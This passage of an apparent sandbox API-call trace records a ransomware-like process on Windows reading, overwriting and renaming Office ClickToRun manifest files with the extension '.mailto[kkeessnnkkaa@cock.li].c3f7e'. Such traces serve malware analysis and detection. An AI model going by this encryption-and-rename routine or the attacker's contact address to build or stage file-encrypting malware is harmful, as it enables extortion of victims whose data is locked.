	[0088.917] NtSetInformationFile (FileHandle=0x1be8, IoStatusBlock=0x2c3bfe2c, FileInformation=0x2c3bfe04, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0088.918] FlushFileBuffers (hFile=0x1be8) returned 1
	[0093.260] CloseHandle (hObject=0x1be8) 

Thread:
	id = 1279
	os_tid = 0x2038

	[0088.899] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml")) returned 0x20
	[0088.909] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0088.911] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bec
	[0088.911] GetFileSizeEx (in: hFile=0x1bec, lpFileSize=0x2c43fc14 | out: lpFileSize=0x2c43fc14*=104348) returned 1
	[0088.911] SetFilePointerEx (in: hFile=0x1bec, liDistanceToMove=0x19798, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.911] ReadFile (in: hFile=0x1bec, lpBuffer=0x2c43fb98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c43fb94, lpOverlapped=0x0 | out: lpBuffer=0x2c43fb98*, lpNumberOfBytesRead=0x2c43fb94*=0x4, lpOverlapped=0x0) returned 1
	[0088.920] SetFilePointerEx (in: hFile=0x1bec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0088.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0088.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0088.920] NtQuerySystemTime (in: CurrentTime=0x2c43fb74 | out: CurrentTime=0x2c43fb74*=132251868156631763) returned 0x0
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xd39b2767
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x914e4702
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x328ef8ee
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xe0f6afd4
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xb3d87545
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xb98c2da8
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x5668264c
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xca7fd08f
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xf56ba657
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xc30254e3
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x4b06f8f4
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x2e53f7b1
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x3b8109d8
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x8a512a38
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xbbc19879
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x36725881
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xf257b357
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xe7267953
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xb820eeaa
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xe65dc60b
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xbafc56f7
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x60362a79
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x79001a6
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x820b5806
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xde75412e
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xcfa58610
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xa1715114
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x9900460b
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x77c6957e
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x30c6cc3
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0xa60e4422
	[0088.921] RtlRandom (in: Seed=0x2c43fb80 | out: Seed=0x2c43fb80) returned 0x747d73af
	[0088.929] SetFilePointerEx (in: hFile=0x1bec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.929] ReadFile (in: hFile=0x1bec, lpBuffer=0x4f61f88, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2c43fb54, lpOverlapped=0x0 | out: lpBuffer=0x4f61f88*, lpNumberOfBytesRead=0x2c43fb54*=0xc800, lpOverlapped=0x0) returned 1
	[0088.930] SetFilePointerEx (in: hFile=0x1bec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.930] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb228
	[0088.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0088.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b50
	[0088.931] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0088.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0088.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478f8
	[0088.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47920
	[0088.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47920) returned 1
	[0088.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0088.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb228) returned 1
	[0088.932] WriteFile (in: hFile=0x1bec, lpBuffer=0x4f6e790*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2c43fb54, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesWritten=0x2c43fb54*=0xc800, lpOverlapped=0x0) returned 1
	[0088.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0088.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61f88) returned 1
	[0088.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x2d83288
	[0088.934] SetFilePointerEx (in: hFile=0x1bec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.934] WriteFile (in: hFile=0x1bec, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x2c43fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c43fbd4*=0x14d, lpOverlapped=0x0) returned 1
	[0088.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0088.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0088.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83288) returned 1
	[0088.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0088.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0088.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0088.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0088.937] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2e02570
	[0088.937] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml"
	[0088.937] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.937] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c43fb8c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.937] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x150) returned 0x4730008
	[0088.937] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0088.937] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0088.937] NtQueryInformationFile (in: FileHandle=0x1bec, IoStatusBlock=0x2c43fb98, FileInformation=0x2c43fb70, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c43fb98, FileInformation=0x2c43fb70) returned 0x0
	[0088.937] NtSetInformationFile (FileHandle=0x1bec, IoStatusBlock=0x2c43fb98, FileInformation=0x2c43fb70, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.938] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.938] FlushFileBuffers (hFile=0x1bec) returned 1
	[0093.260] CloseHandle (hObject=0x1bec) 

Thread:
	id = 1280
	os_tid = 0x203c

	[0088.932] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml")) returned 0x20
	[0088.933] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0088.933] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bf0
	[0088.934] GetFileSizeEx (in: hFile=0x1bf0, lpFileSize=0x2c4bf780 | out: lpFileSize=0x2c4bf780*=23444) returned 1
	[0088.935] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x5b90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.935] ReadFile (in: hFile=0x1bf0, lpBuffer=0x2c4bf704, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c4bf700, lpOverlapped=0x0 | out: lpBuffer=0x2c4bf704*, lpNumberOfBytesRead=0x2c4bf700*=0x4, lpOverlapped=0x0) returned 1
	[0088.939] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0088.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0088.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0088.940] NtQuerySystemTime (in: CurrentTime=0x2c4bf6e0 | out: CurrentTime=0x2c4bf6e0*=132251868156787933) returned 0x0
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x24bb6fef
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x8310182d
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x11ea2790
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xf8d2b9e8
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x85bdd730
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x880c0130
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x17fe15f4
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xb22fc087
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xce5b1c6
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xf24eab65
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xf2c4c99d
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x9d16a780
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x4609e98d
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xbf5d6ce2
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x46b90bed
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xf8eeb087
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xa67e7f6b
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x906385ac
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x974fc20a
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x74139c62
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x7ab756f9
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x5d242d62
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xd95a2b7d
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x65253b56
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xc7c5520c
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x609e4e43
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x9c6c71c4
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x2cce358
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x9a371a0f
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xb068bee6
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0x691a97a0
	[0088.940] RtlRandom (in: Seed=0x2c4bf6ec | out: Seed=0x2c4bf6ec) returned 0xa945be0a
	[0088.948] ReadFile (in: hFile=0x1bf0, lpBuffer=0x4f61f88, nNumberOfBytesToRead=0x5b94, lpNumberOfBytesRead=0x2c4bf6dc, lpOverlapped=0x0 | out: lpBuffer=0x4f61f88*, lpNumberOfBytesRead=0x2c4bf6dc*=0x5b94, lpOverlapped=0x0) returned 1
	[0088.950] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.950] WriteFile (in: hFile=0x1bf0, lpBuffer=0x4f6e790*, nNumberOfBytesToWrite=0x5b94, lpNumberOfBytesWritten=0x2c4bf6d8, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesWritten=0x2c4bf6d8*=0x5b94, lpOverlapped=0x0) returned 1
	[0088.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478f8
	[0088.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47920
	[0088.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47920) returned 1
	[0088.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0088.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61f88) returned 1
	[0088.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0088.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb228) returned 1
	[0088.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x55) returned 0x2d778a0
	[0088.952] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.952] WriteFile (in: hFile=0x1bf0, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x139, lpNumberOfBytesWritten=0x2c4bf740, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c4bf740*=0x139, lpOverlapped=0x0) returned 1
	[0088.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1
	[0088.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0088.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0088.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0088.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0088.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0088.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0088.953] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2e02570
	[0088.953] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml"
	[0088.954] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.954] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c4bf6f8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x498ed90
	[0088.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0088.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0088.954] NtQueryInformationFile (in: FileHandle=0x1bf0, IoStatusBlock=0x2c4bf704, FileInformation=0x2c4bf6dc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c4bf704, FileInformation=0x2c4bf6dc) returned 0x0
	[0088.955] NtSetInformationFile (FileHandle=0x1bf0, IoStatusBlock=0x2c4bf704, FileInformation=0x2c4bf6dc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.955] FlushFileBuffers (hFile=0x1bf0) returned 1
	[0093.261] CloseHandle (hObject=0x1bf0) 

Thread:
	id = 1281
	os_tid = 0x2040

	[0088.949] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml")) returned 0x20
	[0088.951] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0088.951] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bf4
	[0088.955] GetFileSizeEx (in: hFile=0x1bf4, lpFileSize=0x2c53f910 | out: lpFileSize=0x2c53f910*=27466) returned 1
	[0088.956] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x6b46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.956] ReadFile (in: hFile=0x1bf4, lpBuffer=0x2c53f894, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c53f890, lpOverlapped=0x0 | out: lpBuffer=0x2c53f894*, lpNumberOfBytesRead=0x2c53f890*=0x4, lpOverlapped=0x0) returned 1
	[0088.957] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.957] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0088.957] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0088.957] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0088.957] NtQuerySystemTime (in: CurrentTime=0x2c53f870 | out: CurrentTime=0x2c53f870*=132251868156944269) returned 0x0
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x73915777
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xea642b3b
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xb077aea5
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xd470fe29
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xe1acfac8
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x1ca78ee4
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xf7b86904
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x7c6cc7fa
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xac1dda26
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xb1af3f3c
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0x14efae37
	[0088.957] RtlRandom (in: Seed=0x2c53f87c | out: Seed=0x2c53f87c) returned 0xa697f676
